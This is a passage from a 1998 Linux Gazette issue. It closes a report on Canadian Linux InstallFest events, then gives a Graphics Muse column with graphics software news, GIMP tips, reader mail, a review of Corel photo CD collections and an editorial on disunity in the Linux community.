he had discovered the InstallFest by seeing a segment about it on CTV News-1, a National News network. The MUUG web site made mention of one more interesting story from the event. One attendee brought in a system which became known as ``Franken-puter''! It was apparently two separate cases tossed together with all sorts of spare parts the owner was able to scrounge up, and connected with a piece of coax Ethernet cable. He spent as much time swapping parts and reconfiguring on the fly as he did installing Linux. He apparently showed up at the start of the event on Friday and didn't finish until mid-afternoon on Saturday. Even after all that, he still hung around afterwards to help others with their installs. The Ottawa InstallFest was hosted by the Ottawa Carleton Linux Users Group (OCLUG). While almost all the other events were held in a more academic setting of local colleges and universities, OCLUG had their event sponsored by NovoClub, a local retail store. NovoClub is located in a shopping mall and managed to get an empty store front for OCLUG to use. They also arranged for display kiosks to be set-up in the mall by several companies. There were training companies, a local ISP and most notable, Corel Computer displaying their NetWinder, and of course, NovoClub was offering specials on their very large selection of Linux products. The whole event was more like a mini trade show than a typical InstallFest. The unofficial count at the installation store front was that 250 people came through the door. This count included those that came to have Linux installed on their machines, members of the press and ``just curious'' folk who stopped to ask questions, while wandering around in the mall. OCLUG chose not to have people preregister, they decided to just let people come and register the day of the event. It was supposed to start at 10 AM and go to 5 PM. However, people were lined up at 9 AM when the mall opened, and they soon ended up with a backlog of machines waiting for Linux installation. By 3 PM they were two hours behind and had to start turning people away. By the time it was over, they had installed Linux on 50 to 60 machines and still had 10 they could not finish. Not all events were as big as the ones listed above. The New Brunswick Linux Users Group had only ten people attend, with four successful installs. They were a bit upset at the low turn out. However, it was also Homecoming week at Mount Alison University in town, and a football game was in full swing at the same time as the InstallFest. They are in the process of designing a tutorial for their new users and anyone else who is interested. The Fredericton InstallFest was a little larger with thirty attendees and ten installations. Overview The general consensus is that as a public relations event, the InstallFest was an overwhelming success. It got a lot of people asking questions about Linux, some of whom took the plunge and installed Linux for the first time. However, it was not completely successful as a technical event. By no means is this a reflection on either those who organized the individual events or the volunteers who helped with the installations--they all did a stellar job--just no one was prepared for the magnitude of the response. Most LUGs asked people to register prior to the event. This allowed them to get as many volunteers as they thought they would need. Some groups, like the Vancouver Linux Users Group were swamped with preregistration and had to halt registration prior to the event because they could not accommodate everyone. Even with preregistration, the day of the event was hectic. The report from Seneca College in Toronto was that their event lasted until 9 PM, and they were still unable to complete all the installs. Other events had similar reports, and despite the best laid plans, the response overwhelmed the number of installers. Some installs were unsuccessful, either due to time constraints or hardware compatibility issues that were not easily overcome. That said, the ratio of unsuccessful to successful installs was minimal. In most cases, it was one or two to fifty. I've seen more failures on MS Windows installations than that. Where Do We Go From Here? One of the interesting side-effects of the OCLUG InstallFest was that preliminary discussions were started between Zenith Learning Technologies and Corel Computer to set up a corporate Linux training program. Also, Oliver Bendzsa of Corel Computer reportedly said that he was as busy at the InstallFest as he was at Canada Comdex, a 3-day trade show that drew some 50,000 people in Toronto. Dave Neill, a founding member of OCLUG, said that while grassroots events like the InstallFest are a great way to promote Linux, it is now time to start approaching local computer resellers and show them there is a demand for systems with Linux pre-installed. I work for Inly Systems, the largest independent computer reseller in the Ottawa area, and while we are now expanding the variety of Linux products we carry, we still do not offer Linux pre-installed on our machines. However, with at least three technicians who have experience with Linux and/or UNIX installations, we could do this if people began asking for it. However, we are an exception; most resellers don't have technicians with Linux experience. One of the issues that must be answered is how and where companies can have their technicians trained. This is where training companies like Zenith Learning Technologies come in. The fact that Zenith was at the OCLUG InstallFest shows that they realize the potential for Linux training. With such companies as Corel, Oracle, Intel and Netscape investing time and money in Linux, it won't be long before other training companies jump on the bandwagon. Today Canada, Tomorrow the World! Plans are already in the works for a Global Linux InstallFest next year. If you would like to know more or would like to get your LUG involved, please check out the CLUE web site at http://www.linux.ca/ and contact Matthew Rice. An event of this magnitude will need lots of help organizing, so don't be shy--watch out Bill, the Penguin is on the move! For more information on the individual InstallFest events, please visit the CLUE web site for a list of links to all the participating user groups. _________________________________________________________________ Copyright © 1998, Dean Staff Published in Issue 33 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ [INLINE] muse: 1. v; to become absorbed in thought 2. n; [ fr. Any of the nine sister goddesses of learning and the arts in Greek Mythology ]: a source of inspiration © 1998 by mjh ______________________________________________________________________ Button Bar W elcome to the Graphics Muse! Why a "muse"? Well, except for the sisters aspect, the above definitions are pretty much the way I'd describe my own interest in computer graphics: it keeps me deep in thought and it is a daily source of inspiration. [Graphics Mews][WebWonderings][Musings][Resources] T his column is dedicated to the use, creation, distribution, and discussion of computer graphics tools for Linux systems. This month marks the second anniversary for the Graphics Muse column. Its hard for me to believe I've been doing this for that long. My general span of attention is about a year, but I've managed to not only hold onto an interest in this column, I've managed to grow it into several articles and covers for the Linux Journal, a book, and a web site devoted to computer graphics and based on this column. I guess when you get on a roll, stick with it. The more observant readers will also notice a little change in format for this column. I finally did a little color matching for the various images I use and, at the bequest of more than just a few readers, got rid of the multicolumn articles. Most of the announcements are on a page of their own now, although I will be keeping a few on the first page. Overall, I much prefer this new format. It just looks cleaner. I hope you like the changes. In this months column I've taken a chance and offered a little editorial on the way things are as I see them. Much of what I've seen in the past few months revolving around Linux has been positive news - announced support from all 5 major database vendors (Oracle, IBM, CA, Sybase, and Informix), Intel and Netscape announcing investment in Red Hat, and lots of generally good press. But along with this I've seen a fair amount of disunity among the community. There are camps forming between followers of various leaders. I find this sad. Hardlines drawn by groups with disparate interests and ideas tends to drain the energies of both sides of the argument and I'd really hate to see that happen with Linux. The worst aspect of these arguments is the distraction thats created from the real focus - proving how Open Source/free software can really be viable solutions to end users, not just developers. Thats key to making Linux a world player in corporations, education, government and on the desktop. In this months column you'll find: * State of the DisUnion - an editorial to celebrate my 2 year anniversary as the Muse. * Review: Corel Super Ten Packs CD collections * Off the shelf video cards: choosing the right solution the first time. * An updated on X Input support for MetroLink's Metro-X server. ______________________________________________________________________ [INLINE] Other Announcements: Blender Manual Moxy 0.1.2 Quick Image Viewer 0.9.1 GQview 0.4.3 FLTK 19981006 XawTV 2.28 jmk-x11-fonts 1.2 KIllustrator MathMap Metro-X 4.3 GNU PlotUtils 2.1.6 Simple DirectMedia Layer Version 0.8 tkscanfax MAM/VRS Xi Graphics Announcements < More Mews > Disclaimer: Before I get too far into this I should note that any of the news items I post in this section are just that - news. Either I happened to run across them via some mailing list I was on, via some Usenet newsgroup, or via email from someone. I'm not necessarily endorsing these products (some of which may be commercial), I'm just letting you know I'd heard about them in the past month. ______________________________________________________________________ S.u.S.E announces support for Matrox Cards Dirk Hondel has put a new version of XFCom_Matrox on the ftp site and updated the web site at http://www.suse.de/XSuSE/XSuSE_E.html. The new server should work on all current Matrox boards, including the * Matrox Millennium G200 (SGRAM and SDRAM) * Matrox Mystique G200 * Matrox Productiva G100 The server is well accelerated and supports 8/16/24/32bpp on all of these cards. Please report any problems with these servers to x@suse.de ______________________________________________________________________ Meteor 1.5.2 - Matrox Meteor video capture board driver/utilities Mark Sutton is pleased to announce the release of "meteor-1.5.2", a driver and collection of applications for the Matrox Meteor frame grabber. This driver runs on the Linux 2.0.xx series of kernels. Its earlier counterpart, version 1.5.1, has been reported to work on many 2.1.xx releases and later 1.3.xx kernels. This version should work on those kernels also. The Matrox Meteor is a high end professional quality video capture board commonly used in demanding video capture applications such as laboratory research, robotics, and industrial inspection. It's video quality and clarity of it's captures are generally notably superior to the garden variety consumer grade image capture devices, and it's price reflects this. This driver is bundled with single frame capture software, software for displaying real time video in a window, patches to make the meteor work with "vic", a Linux video conferencing package, and other goodies. The "official page" for this package is found at http://www.rwii.com/linux/. Other information about this driver can be found at http://www.cs.virginia.edu/~bah6f/matrox/. Like the numbering scheme for the Linux kernel itself, the odd middle numeral in the version number ("5") indicates that this is a "development" release. It however contains numerous enhancements over the last "stable" release, not the least of which are the ability to compile without hacking on the latest development and stable linux kernel versions, as well as the ability to compile and run properly on libc6 based distributions. In actuality, this "development" version should prove to be pretty much as stable as the last "stable" release. ______________________________________________________________________ Crystal Space 3D engine Has Moved Jorrit Tyberghein would like to announce a knew homepage for the Crystal Space 3D engine. He develops Crystal Space mainly on Linux but it is also ported to other platforms (like Windows, DOS, Macintosh, OS/2, Amiga, ...) The URL is http://crystal.linuxgames.com Crystal Space is a free (LGPL) 3D engine written in C++. It supports colored lights, mipmapping, mirrors, reflecting surfaces, 3D models/sprites, scripting, and other features. The purpose is to make a free and flexible 3D/game engine. Crystal Space is also a rather large open source project. There are currently about 182 people subscribed to the developers mailing list. You can join to! ______________________________________________________________________ Casio QV-10 digital camera HOWTO Bob Hepple has re-posted the HOWTO for using the Casio QV-10 digital camera with Linux (published in Linux Gazette) at: http://www.bit.net.au/~bhepple/qvplay/qvplay.html Bob Hepple mailto:bhepple@bit.net.au http://www.finder.com.au ______________________________________________________________________ Casio QV digital camera support for the GIMP JB is pleased to announce a new plug-in for the GIMP. It called 'cam' and allows the GIMP to read CAM files directly. Those files are the ones stored in Casio QV-* digital cameras and that you can dump using, for instance, QVplay. URL: http://www.mygale.org/~jbn/qv.html ______________________________________________________________________ DC20Pack - software for Kodak DC20/25 cameras DC20Pack is a Software Package for Kodak DC20 and DC25 digital cameras which contains two programs: dc20term and dc2totga. dc20term transfers the pictures out of the camera and stores they as raw data files. dc2totga converts those raw data files to standard image files using the popular TGA image file format. URLs: ftp://sunsite.unc.edu/pub/Linux/apps/graphics/capture/dc20pack-1.0.tgz http://home.t-online.de/home/Oliver.Hartmann ______________________________________________________________________ GIMP wins Productivity Software award from APC Magazine The following note was posted to the GIMP Developers mailing list on October 19th, 1998: I'm writing from Australian Personal Computer magazine and would like to congratulate your having won an Award at our annual IT Awards evening last Thursday. We have a beautiful crystal trophy we would like to send you having won in the Productivity Software of 1998 category. Please can you forward me your street address and phone number as I would like to send this by courier to you. Regards Helen Duncan New Media Projects Manager Australian Personal Computer The official award announcement can be found at http://newswire.com.au/9810/award.htm. The award is being shipped to Peter Mattis who will be placing the trophy in the lobby of the XCF (Experimental Computing Facility) at Berkeley, which is where the GIMP has its origins. Congratulations to all those involved in the evolution of the GIMP! ______________________________________________________________________ Did You Know? ...For those of you who don't read GIMP News, Zach Beane has added a couple new tutorials to http://www.xach.com/gimp/tutorials/. ...at a refresh rate of 60Hz or lower, you'll often detect an eyestrain-causing flicker on your screen. Flicker generally disappears at 72Hz; the Video Electronics Standards Association's (VESA's) recommended minimum for comfortable viewing is 75Hz. Whichever card you buy, in any price range, be sure that it and your monitor can synchronize to provide at least a 75Hz refresh rate at your highest preferred resolution and color depth. From ComputerShopper.com's article "Performance on Display" ...a poll is being run by lumis.com asking which platform you'd like to see Alias/Wavefront's Maya 3D product ported to. Go there and tell the world - we want graphics tools ported to Linux! Slashdot had reported this link and noted that MacOS was way out in front, but the Slashdot effect &tm; had already taken by the time I got there and Linux was in front once again. ...you can find collections of free fonts all over the Internet. Take a look at the following sites: http://www.fountain.nu/fonts/free.html - TrueType only (PC format downloads is in small type) http://www.signalgrau.com/eyesaw/html/main.htm - TrueType and Postscript Type 1 fonts (pfb) http://www.rotodesign.com/fonts/fonts.html - Type 1, but sans most punctuation and some numbers More sites can be found from Yahoo's listings: http://dir.yahoo.com/Arts/Design_Arts/Graphic_Design/Typography/Typ efaces/ ...another 3D modeller is under development, this one using C and Tcl/TK. This one is called Mops and has support for NURB curves and RIB export files. Take a look at The Mops Home Page. ...there are a couple of newsgroups being run off the POV-Ray web site for the discussion of POV-Ray, the 3D raytracing tool and the display of images. Take a look at news://news.povray.org/povray.binaries.images and news://news.povray.org/povray.general. ...a very good explanation of using matrix transformations with POV-Ray can be found at http://www.erols.com/vansickl/matrix.htm. Additionally, you can find some useful POV-Ray macros at http://www.erols.com/vansickl/macs.htm. Q and A Q: What does one use [in the Gimp] in place of Photoshop's smudgy finger? I've tried using the "fill with color or gradient" to no avail. I just want to smudge. Ideas? A: There is no smudge tool. It has been oft requested, but noone has written one. Some not quite the same alternatives: the blur tool, iwarp, or selecting a region a bit and applying a gaussian blur. Not the same, but alas... Adrian Likins adrian@gimp.org Q: I want to place a block of text with evenly single-spaced lines using some arbitrary font onto my Gimp image. Rather than doing it line by line with the Text Tool, is there an easier way? A: While the Ascii2Image is probably the nicest solution, there is another somewhat more obscure method. Using Cut and Paste into the text tool entry, the the text tool has no problems with newline characters - you can make multiple text lines directly from the text tool this way. Seth Burgess sjburges@gimp.org Q: Is there any way to get gimp to use virtual memory instead of its swap file? I was working on some images where the gimp swap file was about 30mb. Just about any operation I do causes lots of disk activity. The machine I'm running this on has more than enough physical memory, but it is not being used. A: Change the value for the gimp tile cahce in the Preferences dialog. I'd say with 160mb set it to at least 80megs or so. Adrian Likins adrian@gimp.org Q: Ok now I'm new to linux and gimp - my friends got me into linux in the last couple months. How can I, in Gimp save a file without having to merge the layers and still have the graphic look the way its supposed to? Am I just really missing something here? A: If you just want to save an "in-progress" verison of your image that preserves layers, guides, channels, selections,etc then you should be saving as .xcf. That's gimps native format. If you want to "export" an image to a single layer format but not have to merge the layers, you should have a look at Simon Budig's export scripts that automate this task. These scripts can be found at: http://www.home.unix-ag.org/simon/gimp/export-file.html Adrian Likins adrian@gimp.org 'Muse Note: as you can see, Adrian and Seth offer some pretty good advice on the Gimp User's Mailing list! ______________________________________________________________________ Reader Mail Gus wrote: Hi Mr Hammel, Looking at the April 98 issue... Reader Mail Nick Cali (Mktnc@aol.com) wrote: Just want to drop a line thanking you for your effort at the Gazette and with Linux. Really, thanks a lot. Muse: You're quite welcome. I had gotten some rather harsh email from someone recently that had me considering dropping out of the Linux world altogether. Getting little notes like this, however, helps keep me going. Thanks! Love the column, Please stay, 'nuff said. :-) angus@intasys.com 'Muse: Woohoo! My favorite kind of reader mail. Ok. I'll stick around for a while longer. In a previous message, Rolf Magnus Nilsen says: I'm really sorry for bothering you with this problem, but as an avid reader of the Linux Gazette and the Linux Journal I have read most of your writings there. And hope you can take the time to answer some questions. 'Muse: No problem. I try to answer all the questions that come my way, if I can. Now, we are going to do a small project in VHS video, and we need some tools for video editing. The problem is, we cant find any tools besides the simplest command line tools. 'Muse: Thats because there aren't any "canned" tools yet. See below. So our current plan is to run a framegrabber, grab about 25 pictures a second, organise them, put in effects/text and use mpegencode to make a movie which we play back to our VCR. But this is quite a task, when you consider a movie of about 45 - 50 minutes. I have been searching around quite a bit, but have not found anything better than the tools I mentioned. Do you know any resources or products I should have a look at. Buying a commercial product is OK if it runs under Linux.. 'Muse: Unfortunately this area of graphics tools on Linux is pretty sparse. Like you said, there are a number of command line tools for doing very specific tasks (like frame grabbers or creating MPEG video animations) but there aren't any user-friendly, GUI based tools like, for example, Adobe Premier. That said, there is one project you might want to look into. The project is called Moxy (http://millennium.diads.com/moxy/). Not much information there yet, but its aim is to be a Premier-style application. Its in *very* early development. You might also drop a line to the Gimp-Developer mailing list. A number of people had been discussing creating an application like this on that mailing list. I haven't heard whats become of this, however. Adding a plug-in to the Gimp wouldn't be the best way to handle video editing - the Gimp isn't designed for that type of work. But eventually interfaces should be (re: ought to be) developed that allow easy transfer between the Gimp and video editing tools. No commercial packages that I know of are being ported yet. Desktop publishing on Linux is still somewhat limited to word processors and the Gimp, which lacks color management facilities that are quite important to most desktop publishing and video editing environments. I'll post your message (actually this reply) to the next Graphics Muse column and perhaps someone with more information than I have will contact you. If you hear of any commercial packages being ported let me know. I'd love to start hearing of such ports! BTW: I'm really looking forward to "The Artists' Guide to the GIMP", it is ordered already :-) 'Muse: Hey! A sale! The first official one that I know of. I hope you find it useful! In a previous message, Dylan The Hippy Wabbit says: I have a particular interest in stereoscopic vision, and so I would like to have an X server that supports shutter glasses. 'Muse: (Note - doesn't anyone go by their real names anymore?) Ouch. My eyes are hurting already just thinking about these. People (like me) who have one eye "stronger" than the other can't see these images, at least not very well. They give me a headache (so do 3D glasses). In case you haven't heard of these, they use liquid crystals to alternately cover each eye. The display then alternates in phase so that each eye sees only one view. Apart from it's use in photography or molecular modelling it makes one hell of an extension to Quake! Some, although only a few, 3D accelerators support them and there is an extensive web site including homebrewed controllers at:- http://www.stereo3d.com/3dhome.htm However, I can't find any mention of it in the XFree86 docs. The AcceleratedX web site mentions support for "3D PEX" which I assume is a typo, although it could be something genuine I've never heard of. I've searched the LG archive to find only your mention of a POVRAY "beamsplitter" in issue 27. Do you know of anything? After all, we can't let DOS/Windows users have anything we can't get can we? ;-) 'Muse: No such beast is yet available. Its just not in high demand so you probably won't see it from the commercial vendors unless a paying business customer requests it (with some serious dollars behind the request). XFree86 will support it as soon as someone decides they want/need it and have the time/expertise to write the code for it. If the video cards handle it already then its just a matter of adding that support to an existing video card driver (assuming a standard, well known video chipset on the card). The problem is usually finding someone who knows how to do that. A post to comp.os.linux.x or maybe a letter to the Linux Gazette editor (gazette@ssc.com) will put you in contact with someone. The LG editor will simply post your request in the next issue of the Gazette and, with luck, someone will contact you about their current work in this area. You might also try sending a letter to the XFree86 support address (its listed on their web site www.xfree86.org). I'll post your message in the November Muse column. Maybe one of my readers will contact you about this. Keep your fingers crossed! BTW, 3D PEX is not a typo. PEX is the PHIGS Extension, a formal X Extension that supports PHIGS, which is the Programmers Hierarchical Interactive Graphics System. Thats a sort of OpenGL from the earlier days of computer graphics, although its still in use today in a few places. ______________________________________________________________________ [INLINE] Review: Corel Super 10 Packs CD collections I haven't been doing much with my Web site this past month. Once I got the new format running I didn't have much need to mess with it, although I do have to remove the Apache logs fairly often (12Mb of logs in less than 5 days causes me to keep running over my disk quota). So I was a little unsure of what to write about for this months Web Wonderings. That is until I wondered through a local computer retail outlet. There on the shelves I found a number of Corel's Super Ten Pack CD image collections. Normally I wouldn't consider using stock photos from Web-style CD collections because the quality of the photos generally isn't much better than what I can take myself. Additionally, most of those "25,000 (or more) Image" collections you find on the shelves come with images suitable only for the Web - generally no more than about 1024x768 resolution. These usually are far too small for any other media. But an article in the September 1998 issue of Digital Video magazine covering stock image collections mentioned the Corel image collections, including their Super Ten Packs, as a source of quality stock images. Since I trust this magazine more than my own common sense (which is still rather new to the graphic arts world) and due to Corel's fairly full-blown support for Linux, I decided to check out one or two of these collections. What is a Corel Super Ten Pack? The Super Ten Packs are collections of 10 CD's, each with 100 PhotoCD images on them. The current collections are classified into a number of different categories: Aircraft Food Seasons Animals Gardens Sports & Leisure Architecture Great Works of Art Textures Art, Sculpture, & Design Landmarks Textures II Business & Industry Museums & Artifacts Textures & Patterns Canada Nature Textures & Patterns II Cars People Transportation England People II Travel Fashion People III Underwater There is also a Sampler Ten pack. The sampler set has CD's titled, among others, "War", "Alien Landscapes" and "Success". Unfortunately the limited documentation doesn't say from which other Ten Pack's these samples are taken. I expect that Corel will expand this list further as well, since they tend to produce a large number of stock photography CDs in general. The images are royalty free but there are some restrictions to their use. First, you must display the following text somewhere in your publication: This product/publication includes images from [insert full name of Corel product] which are protected by the copyright laws of the U.S., Canada and elsewhere. Used under license. Since I'm reviewing the CDs in general I hope the above counts towards my meeting this requirement. They also limit online display of the images to 512 X 768, but that may be only if you display the image unmodified. Its not clear about if such restrictions exist for derivative works that use the images. How do you get them? The Super Ten Packs are available at computer retail outlets or online. I purchased my two sets from MicroCenter here in Dallas. Corel's online site contains thumbnails of all the images from their huge collection of images so that you can preview them before purchase. All of the online versions have watermarks so don't get any ideas about trying to swipe them from their site (unless you like watermarked images). Online ordering can be done at http://www.corel.com/products/clipartandphotos/photos/superten.htm. You can also search for individual images and order those online at http://corel.digitalriver.com/. I didn't check to see if you could actually order the photos individually or just in the sets that contain them but a reliable resource who has used the service in the past suggested you could purchase them individually. When you go to http://corel.digitalriver.com/ just click on the Photo CD package image to get a list of titles. From there you can click on the individual CDs to preview all of the images on each CD. Each CD runs about $35-$45US. What do you actually get? I purchased two different sets, the Sampler Ten Pack and the Textures II Ten Pack. Both run a little higher at the retail outlet, as expected, and came in boxed sets. Inside the box I found the 10 CD's shrink wrapped along with a small pamphlet. The pamphlet had the obligatory licensing information along with full color thumnail images of all the images on each CD, one page per CD. This is quite useful and something I hadn't quite expected for some reason. [INLINE] The images on the CD come in PhotoCD format. This format specifies 5 different image sizes: 128x192 256x384 512x768 1024x1536 2048x3072 To read this format you have a couple of options. First, the Gimp has a PhotoCD file plug-in. You can tell if you have this plug-in installed if you try to open an existing file and the Open Options menu includes an entry for PCD. If you try to open a file from the CD by double clicking on the filename in the Load Image dialog then the plug-in is started and you get the dialog shown at left. You'll notice that this plug-in offers the additional resolution of 4096x6144. I'm not certain if this is a valid PhotoCD resolution or not, but it didn't seem to matter. Unfortunately, I was unable to read any of the images from the CD in resolutions higher than 512x768 using this plug-in. I had to switch to an alternative option, the hpcdtoppm tool from NetPBM package. With this program I could read the higher resolutions - up to 2048x3072 - into a PPM formatted file which I could then load into the Gimp. I didn't have time to determine if the problem was with the Gimp plug-in or the CDs, but I suspect the plug-in is at fault since I could read the higher resolutions with hpcdtoppm. Note that this plug-in works fine for resolutions up to 512x768. [ More Web Wonderings ] ______________________________________________________________________ [INLINE] Off the shelf video cards: choosing the right solution the first time. Metro Link X Input Support State of the DisUnion Its been two years since I started the Graphics Muse column in the Linux Gazette. In that time I've watched Linux grow in ways many people felt possible but few could guarantee would actually happen. I've also watched, with some dismay, the numerous battles being fought within our community and beyond. So, I'd like to take this opportunity to just place my opinion on the record on a few of the issues we've all faced these past two years. If you are easily annoyed by other peoples opinions then just skip down to the bit on Where to go from here or jump over to the off the shelf video cards article. RMS vs. Raymond vs Users Both RMS (Richard M. Stallman) and Eric Raymond have done wonders for the community and both should be applauded for their efforts and dedication. However their spirited enthusiasm, in the manner and form which they display in public, is not necessarily what we need now. Linux and free software/Open Software is a community, one that has grown beyond its bare communal spirit and now encompasses a metropolitan mix of individuals and groups. And that mix includes a high number of end users - not developers, not hackers - users. I wonder now if either RMS or Raymond is truly interested in the end user or is their focus solely on the developers needs. At this point, the community needs to focus on both. Commercial vs. Free and World Domination Unlike many Linux fans, I have no problem with commercial (re: proprietary) software. There are people who both need and desire commercial software, regardless of what developers might find as the higher moral ground. I personally will use the tools which best suit my needs. I have always wanted a Unix desktop, ever since my days working on the Dell Unix products in the early 1990's and Linux is it for me. If commercial applications begin to show up that work well for me, I will use them. I already use Applixware and commercial versions of the sound drivers and X server. You don't have to encourage commercial development, but you shouldn't attack them either. Having a different point of view does not make someone wrong or generally evil in all cases. If you provide alternatives to commercial products you'll find many people who will both use and support those alternatives. But to disuade others from using commercial products without first providing the alternative is tantamount to using the same tactics Microsoft uses with their vaporware announcements. Convince by doing first. It makes the counter argument, the argument for commercial or proprietary software, more difficult to sustain. On a related subject: World Domination by Linux is not a goal I seek. The first reason is obvious - if you displace Microsoft you lose the strongest focal point that currently exists for the free software movement - the drive to displace Microsoft. It is a bit of a catch-22 scenario, but I'd rather have Microsoft stay strong to keep developers on edge in the Linux community. They seem to thrive on that. Without real leadership in our community (and I'm not convinced we have that one strong individual or group that can claim that leadership role) it is imperitive that the strong focal point be kept clear. Focus is key in any project, be it writing software or climbing mountains or writing columns like this one. The other reason I don't want world domination is I really don't want to replace one egotistical maniac with several thousand (or million). Great developers are egotistical - its a form of self confidence not unlike that displayed by great artists. But I wouldn't want either in charge of my personal computing world. They see the world from their perspective and that perspective can be clouded by their own intellect. It can be difficult to see the frustration of others when their problems may seem trivial to you and easily solved. Instead, I'd rather have the ability to control my own computing environment by having the opportunity to choose between multiple solutions to similar problems. I'd love to see the Mac and BeOS expand their market share because, in the end, it only opens up my vistas of choice. And thats what Linux is really about for end users. Freedom of choice. Vi vs. Emacs Vi, of course. Unless I have to write a book or article for non-Linux publishers. Then ApplixWords. Red Hat or Debian or S.u.S.E? Depends on what you want and where you live mostly. All three produce decent distributions. I tend to think of Debian as aimed more towards the technical crowd while the other two are more amenable to the average Joe. I use Red Hat 4.2. Why? Because 2 years ago when I was ready to upgrade from my Slackware distribution I went into SoftPro Books in Denver and found Red Hat abundantly stocked. S.u.S.E wasn't there yet. Neither was Debian. It was a simple choice back then, really. But like Linux in general, the good news is that I have choices. Thats important. I'll be upgrading again at the start of the year, probably in February. By that time most of the kinks with dealing with libc/glibc should be worked out from the installation point of view. I may go with Red Hat 5.2 if its out by then. But S.u.S.E sure has had a lot of good press too. But it probably doesn't matter that much. I don't even use RPM's on my machine except during an initial installation. After that, I install free software from source and commercial packages from CDs (in whatever form they come in). GPL, LGPL, NPL, or Artistic License See what I mean? Choice. This sort of thing seldom crops up in the Microsoft world. Which is best? I won't say. Of all the arguments that have arisen repeatedly the past 2 years, this one is most certainly one of personal choice. I will recommend, however, that if you consider releasing software to the free/Open community that you read through each of these and try to understand them before releasing and before creating your own license. I did the latter. It was a bad choice. GPL: http://www.gnu.org/copyleft/gpl.html LGPL: http://www.gnu.org/copyleft/lgpl.html NPL: http://www.mozilla.org/NPL/ Artistic: http://language.perl.com/misc/Artistic.html Where to go from here - Desktop Graphics Ok, I've blabbered on for too long with my own opinions that really have nothing to do with graphics on Linux. I need to focus. What do we have now and what do we need? How do we get it? And who are "we"?' We are the people who desire the tools to do the graphics arts work from which we both find enjoyment and make our livings. As of now, the tools for Linux are mostly geared toward Web development, a medium born from the same family as the images we create. Most of the tools are command line driven, with a few GUI-based tools like the Gimp or perhaps ImageMagick. But we lack certain features to go beyond Web images. We lack any real form of color management in the Gimp needed for prepress operations. We have 3D modellers but are they sufficient for commercial animation work? And what about video editing tools? Nothing exists at this point beyond one project in a very early stage. We have some hardware acceleration for 3D video chipsets but lack consistant support from vendors. Most important, we need a desktop that makes porting of applications - or writing new ones - inviting to those who need to interact with other tools. There are plenty of tools available for commercial artists and effects houses that already exist on other Unix platforms. What would it take to make those people want to migrate to Linux? Vendors are fond of saying that end user demand is what drives ports to new platforms. We need to know if the demand exists and if not, then why not. I've spoken to two effects houses in the past who use Linux in rendering farms (groups of Linux servers number crunching 3D images with little to no user interaction). Linux as a server once more. Is Linux not appropriate as the front end of the special effects development process? What about for Desktop Publishing? All you Quark and Adobe users - what do we need? Would you use the ports if they were made available? I write this column out of a desire to learn about computer graphics. The only graphics tools I'd ever used before moving to Linux were MacDraw and MicroGrafix under DOS many years ago. I'm not familiar with the Adobe series of graphics programs, nor Quark Express, nor the SoftImage tools or other SGI-based applications. I need feedback from users of these tools to know what to pass on to the rest of my readership. There are likely to be a few who would be willing to work on projects, if they new what needed to be done. And grass roots efforts by end users to convince commercial vendors that ports of existing applications to Linux would be worth their effort are also needed. Corel appears to be porting all their applications to Linux. I assume this means Corel Draw will be coming out sometime in the next 6 months. At least then I can see what a commercial application looks like. If I could only get my hands on Adobe Premier or Quark Express for Linux..... Most important of all, I need to know what the readers need - desktop tools for the small prepress environment? Web tools? High end graphics tools for research and the entertainment industries? Perhaps multimedia authoring tools? Or just simple tools for doing common tasks at home, those that are readily available for the Mac and MS platforms and cost a buck and a quarter at the local computer retail outlet. Graphics on Linux needs focus. We have the kernel supporters and the desktop supporters who have driven the server side of Linux to the point that the rest of the world is not only aware of Linux but enthusiastic about joining the community. Now we need the graphics folks to mobilize and show that we can go beyond the realm of back room servers. Or can we? [ More Musings ] [INLINE] [INLINE] The following links are just starting points for finding more information about computer graphics and multimedia in general for Linux systems. If you have some application specific information for me, I'll add them to my other pages or you can contact the maintainer of some other web site. I'll consider adding other general references here, but application or site specific information needs to go into one of the following general references and not listed here. Online Magazines and News sources C|Net Tech News Linux Weekly News Slashdot.org General Web Sites Linux Graphics mini-Howto Unix Graphics Utilities Linux Sound/Midi Page Some of the Mailing Lists and Newsgroups I keep an eye on and where I get much of the information in this column The Gimp User and Gimp Developer Mailing Lists. The IRTC-L discussion list comp.graphics.rendering.raytracing comp.graphics.rendering.renderman comp.graphics.api.opengl comp.os.linux.announce [INLINE] Future Directions Next month: Let me know what you'd like to hear about! ______________________________________________________________________ © 1998 Michael J. Hammel _________________________________________________________________ Previous ``Graphics Muse'' Columns Graphics Muse #1, November 1996 Graphics Muse #2, December 1996 Graphics Muse #3, January 1997 Graphics Muse #4, February 1997 Graphics Muse #5, March 1997 Graphics Muse #6, April 1997 Graphics Muse #7, May 1997 Graphics Muse #8, June 1997 Graphics Muse #9, July 1997 Graphics Muse #10, August 1997 Graphics Muse #11, October 1997 Graphics Muse #12, December 1997 Graphics Muse #13, February 1998 Graphics Muse #14, March 1998 Graphics Muse #15, April 1998 Graphics Muse #16, August 1998 Graphics Muse #17, September 1998 Graphics Muse #18, October 1998 _________________________________________________________________ Copyright © 1998, Michael J. Hammel Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ [INLINE] © 1998 Michael J. Hammel indent Blender Manual Moxy 0.1.2 Quick Image Viewer 0.9.1 GQView 0.4.3 FLTK 19981006 XawTV 2.28 jmk-x11-fonts 1.2 KIllustrator MathMap Metro-X 4.3 GNU PlotUtils 2.1.6 Simple DirectMedia Layer Version 0.8 tkscanfax MAM/VRS Xi Graphics * SiS 5598 * NeoMagic, Toshiba, Gateway, benchmarks * 3D Hardware Support * Monthly drawing for FREE Accelerated-X Disclaimer: Before I get too far into this I should note that any of the news items I post in this section are just that - news. Either I happened to run across them via some mailing list I was on, via some Usenet newsgroup, or via email from someone. I'm not necessarily endorsing these products (some of which may be commercial), I'm just letting you know I'd heard about them in the past month. ______________________________________________________________________ Blender Manual is now available for ordering The Blender Manual is available for purchase: http://www.blender.nl/shop/index.html. Looks to be about $49US for a fairly hefty manual. ______________________________________________________________________ Moxy 0.1.2 Moxy is a linear video editor, much like Adobe's Premiere. It can load many different file format (Including MJPEG AVIs, P*Ms and JMF) and output AVIs. It comes with some transitions (you can make some yourself, they're plugins) and you are free to contribute code. http://millennium.diads.com/moxy/ ______________________________________________________________________ Quick Image Viewer 0.9.1 Quick Image Viewer (qiv) is a very small and pretty fast GDK/Imlib image 